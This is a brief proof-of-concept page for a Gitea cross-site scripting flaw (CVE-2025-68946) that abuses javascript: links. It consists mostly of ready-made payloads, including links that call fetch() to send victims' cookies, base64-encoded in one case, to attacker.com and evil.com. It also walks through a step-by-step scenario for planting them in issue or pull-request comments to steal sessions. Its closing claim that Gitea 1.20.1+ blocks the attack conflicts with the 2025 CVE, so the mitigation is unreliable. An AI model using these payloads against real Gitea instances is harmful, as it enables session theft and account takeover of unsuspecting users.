CVE-2025-68946 Gitea XSS跨站脚本漏洞

// CVE-2025-68946 PoC - Gitea XSS via javascript: URL scheme // This PoC demonstrates how an attacker can inject malicious javascript: links // Example malicious content that can be submitted to Gitea: // <a href="javascript:alert(document.cookie)">Click here</a> // <a href="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)">Malicious Link</a> // Attack scenario: // 1. Attacker creates an issue/PR comment or modifies a file description // 2. Attacker inserts: <a href="javascript:alert(document.domain)">View Details</a> // 3. When victim views the page, clicking the link executes the JavaScript // 4. Attacker can steal cookies, session tokens, or perform actions on behalf of victim // Example exploit payload for stealing session: const exploitPayload = ` <a href="javascript:fetch('https://evil.com/log?c='+btoa(document.cookie))"> Interesting commit </a> `; // Mitigation: Gitea 1.20.1+ blocks javascript: and other dangerous URL schemes